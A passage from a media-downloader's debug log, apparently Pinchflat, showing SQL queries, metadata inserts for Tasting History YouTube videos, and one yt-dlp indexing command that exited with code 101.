s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.017 [debug] QUERY OK source="media_items" db=1.1ms idle=1.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 00:00:00Z], 3] 02:51:39.018 [debug] QUERY OK source="media_items" db=1.0ms idle=2.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Gingerbread for Washington's Army", "902311f1-a607-4911-862e-ac615dc48338", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", false, false, 19, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", false, false, 3, [], 98, ~U[2025-12-02 00:00:00Z], ~U[2026-03-30 06:51:39Z], ~U[2026-03-30 06:51:39Z], "Use code TASTINGHISTORYFB50 to get 50% OFF your first Factor box plus free breakfast for 1 year at https://bit.ly/45yZqRU!\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nIMAGES\nMace - By AntanO - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nSea Goat - By Marie-Lan Nguyen - Own work, Public Domain, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Gingerbread for Washington's Army", "vuoThloIEhs", "https://www.youtube.com/watch?v=vuoThloIEhs", nil, false, "/downloads/Tasting History with Max Miller/2025-12-02 Gingerbread for Washington's Army/Gingerbread for Washington's Army [vuoThloIEhs].NA", false, 3, ~U[2025-12-02 00:00:00Z]] 02:51:39.019 [debug] QUERY OK source="sources" db=0.1ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.019 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:51:39.019 [debug] QUERY OK source="media_items" db=0.2ms idle=3.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [4007] 02:51:39.020 [debug] Current batch of media processed. Will check again in 1000ms 02:51:39.790 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@TastingHistory/videos --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/b6/05/b605593a99c9d19eb965286c556c486ec1d3f32193c2973692a36356bdc3fcb6.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/34/56/34564c11d8bb051a6e7f6560db0ddb28cb87a142798e3d6821f1414a04be0cfe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 02:51:39.791 [debug] Gracefully stopping file follower 02:51:39.792 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=773.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 02:51:39.792 [debug] QUERY OK source="sources" db=0.1ms idle=773.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.794 [debug] QUERY OK source="media_items" db=1.2ms idle=773.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-24 00:00:00Z], 3] 02:51:39.822 [debug] QUERY OK source="media_items" db=27.7ms idle=774.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "27abbc1f-c5c1-4a7c-9cc5-d97c510f9dbe", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", false, false, 1, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", false, false, 3, [], 98, ~U[2026-03-24 00:00:00Z], ~U[2026-03-30 06:51:39Z], ~U[2026-03-30 06:51:39Z], "Visit https://squarespace.com/TASTINGHISTORY to get a free trial and 10% off your first purchase of \ra website or domain.\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\nIMPORTANT LINKS*\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "The Brutal Life of a Medieval Butcher", "_iGppK9by3Y", "https://www.youtube.com/watch?v=_iGppK9by3Y", nil, false, "/downloads/Tasting History with Max Miller/2026-03-24 The Brutal Life of a Medieval Butcher/The Brutal Life of a Medieval Butcher [_iGppK9by3Y].NA", false, 3, ~U[2026-03-24 00:00:00Z]] 02:51:39.822 [debug] QUERY OK source="sources" db=0.2ms idle=117.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.824 [debug] QUERY OK source="media_items" db=1.2ms idle=30.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 00:00:00Z], 3] 02:51:39.825 [debug] QUERY OK source="media_items" db=0.9ms idle=31.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "8f88b229-d5ee-4451-82ad-eac433361127", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", false, false, 2, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].NA", false, false, 3, [], 98, ~U[2026-03-17 00:00:00Z], ~U[2026-03-30 06:51:39Z], ~U[2026-03-30 06:51:39Z], "Get 40% off your first Hungryroot box PLUS get a free item of your choice in every box for life with code TASTINGHISTORY at https://bit.ly/3DhydYp\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Hardtack Hash from Steerage on a Victorian Ocean Liner", "9SvcDeiwXrc", "https://www.youtube.com/watch?v=9SvcDeiwXrc", nil, false, "/downloads/Tasting History with Max Miller/2026-03-17 Hardtack Hash from Steerage on a Victorian Ocean Liner/Hardtack Hash from Steerage on a Victorian Ocean Liner [9SvcDeiwXrc].NA", false, 3, ~U[2026-03-17 00:00:00Z]] 02:51:39.826 [debug] QUERY OK source="sources" db=0.2ms idle=31.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.827 [debug] QUERY OK source="media_items" db=1.1ms idle=4.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 00:00:00Z], 3] 02:51:39.829 [debug] QUERY OK source="media_items" db=1.4ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "0974525d-7c1a-4e1f-9aed-758efa189980", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", false, false, 3, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", false, false, 3, [], 98, ~U[2026-03-10 00:00:00Z], ~U[2026-03-30 06:51:39Z], ~U[2026-03-30 06:51:39Z], "Join Thrive Market today to get 30% off your first order + a free gift worth up to $60 using my link: http://thrivemarket.com/MaxMiller \n#thrivemarketpartner \n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipe...\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\n#tastinghistory", "Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?", "t1O1hcixZDU", "https://www.youtube.com/watch?v=t1O1hcixZDU", nil, false, "/downloads/Tasting History with Max Miller/2026-03-10 Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb?/Making Shepherd’s Pie from an 1894 Recipe - Beef or Lamb? [t1O1hcixZDU].NA", false, 3, ~U[2026-03-10 00:00:00Z]] 02:51:39.829 [debug] QUERY OK source="sources" db=0.2ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.830 [debug] QUERY OK source="media_items" db=1.1ms idle=4.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-03 00:00:00Z], 3] 02:51:39.832 [debug] QUERY OK source="media_items" db=1.0ms idle=5.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "cd6fdbb1-3fb4-4525-836e-59a022b54b9f", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", false, false, 4, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", false, false, 3, [], 98, ~U[2026-03-03 00:00:00Z], ~U[2026-03-30 06:51:39Z], ~U[2026-03-30 06:51:39Z], "Support the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at https://www.tastinghistory.com/recipes\n\nOrder the TASTING HISTORY COOKBOOK: https://amzn.to/42O10Lx\n\nMerch ► https://crowdmade.com/collections/tas... \nInstagram ► \u00A0\u00A0/\u00A0tastinghistorywithmaxmiller\u00A0\u00A0\nTwitter ► \u00A0\u00A0/\u00A0tastinghistory1\u00A0\u00A0 \nTiktok ► TastingHistory\nReddit ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\nDiscord ► \u00A0\u00A0/\u00A0discord\u00A0\u00A0\n\nSend mail to:\nTasting History\n22647 Ventura Blvd, Suite 323\nLos Angeles, CA 91364\n\n*Some of the links are from companies from which Tasting History will earn an affiliate commission. These help to support the channel at no cost to you. \n\nSubtitles: Jose Mendoza | IG @worldagainstjose\n\nPHOTO CREDITS\nTree at Hatshepsut’s Temple: By Justegypt - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nMortuary Temple Aerial Shot: By Diego Delso, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nHatshepsut’s Mummy - By Vrangel1924 - Own work, CC BY-SA 4.0, https://commons.wikimedia.org/w/index...\nDestroyed Cartouches: By Hedwig Storch - Own work, CC BY-SA 3.0, https://commons.wikimedia.org/w/index...\n\n#tastinghistory", "Hatshepsut - The Pharaoh they tried to Erase from History", "g2uEeDzhn14", "https://www.youtube.com/watch?v=g2uEeDzhn14", nil, false, "/downloads/Tasting History with Max Miller/2026-03-03 Hatshepsut - The Pharaoh they tried to Erase from History/Hatshepsut - The Pharaoh they tried to Erase from History [g2uEeDzhn14].NA", false, 3, ~U[2026-03-03 00:00:00Z]] 02:51:39.832 [debug] QUERY OK source="sources" db=0.2ms idle=5.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:51:39.834 [debug] QUERY OK source="media_items" db=1.1ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 00:00:00Z], 3] 02:51:39.855 [debug] QUERY OK source="media_items" db=20.3ms idle=4.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you Wildgrain for sponsoring. Visit https://wildgrain.com/tastinghistory and use code \r“TASTINGHISTORY” at checkout to receive $30 your first box + free croissants for life!\n\nListen to the Podcast I did with The Biographers at any of these links:\nApple Podcasts: https://podcasts.apple.com/us/podcast...\nSpotify: https://open.spotify.com/episode/1JlC...\nYouTube: \u00A0\u00A0\u00A0•\u00A0Bonus!\u00A0--\u00A0A\u00A0Taste\u00A0of\u00A0History:\u00A0An\u00A0Interview...\u00A0\u00A0\nWebsite: www.thebiographerspodcast.com\n\nSupport the Channel with Patreon ► \u00A0\u00A0/\u00A0tastinghistory\u00A0\u00A0\n\nRecipe at 